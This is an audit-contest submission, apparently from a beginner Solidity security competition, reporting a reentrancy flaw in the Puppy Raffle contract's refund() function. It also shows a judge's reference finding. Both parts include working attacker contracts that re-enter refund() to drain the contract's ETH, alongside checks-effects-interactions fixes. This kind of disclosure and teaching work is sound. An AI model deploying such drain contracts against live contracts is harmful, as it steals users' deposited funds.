Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in refund() allows attacker to drain entire contract balance

acat

Root + Impact

Description

  • The refund() function is expected to send one entrance fee back to the player and then mark their slot as address(0) so they can't refund again. However, the function sends ETH via sendValue() before updating the player's slot, violating the checks-effects-interactions pattern. A malicious contract can re-enter refund() from its receive() function, passing all checks repeatedly since the state hasn't been updated yet.

// @> ETH is sent before state is updated — attacker can re-enter here
payable(msg.sender).sendValue(entranceFee);
​
// @> This line never executes during the reentrancy loop
players[playerIndex] = address(0);

Risk

Likelihood:

  • Any user can deploy a malicious contract and enter the raffle with it

The attack requires no special permissions, no timing tricks, and minimal cost (just one entrance fee)

Impact:

  • Every ETH in the contract is drained — all player deposits and accumulated fees

Other players permanently lose their entrance fees with no way to recover

Proof of Concept

The attacker deploys a malicious contract that enters the raffle as a participant. When the attacker calls attack(), it enters the raffle normally, finds its index in the players array, then calls refund(). Because refund() sends ETH before setting the player's slot to address(0), the attacker's receive() function fires mid-execution and calls refund() again. Since the state hasn't been updated yet, all require checks still pass. This loop repeats until the contract is fully drained. The attacker pays one entrance fee and extracts the entire balance.

contract ReentrancyAttacker {
PuppyRaffle victim;
uint256 myIndex;
​
constructor(address _victim) {
victim = PuppyRaffle(_victim);
}
​
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
victim.enterRaffle{value: msg.value}(players);
myIndex = victim.getActivePlayerIndex(address(this));
victim.refund(myIndex);
}
​
receive() external payable {
if (address(victim).balance >= victim.entranceFee()) {
victim.refund(myIndex);
}
}
}

Recommended Mitigation

Move the state update (players[playerIndex] = address(0)) and the event emission to occur before the external ETH transfer. This follows the checks-effects-interactions pattern — all internal state changes are finalized before any external call is made. Even if the recipient attempts to re-enter refund(), the player's slot is already zeroed out, so the require(playerAddress != address(0)) check will revert. For additional safety, apply OpenZeppelin's nonReentrant modifier to block any re-entrant calls entirely.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
​
payable(msg.sender).sendValue(entranceFee);
​
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!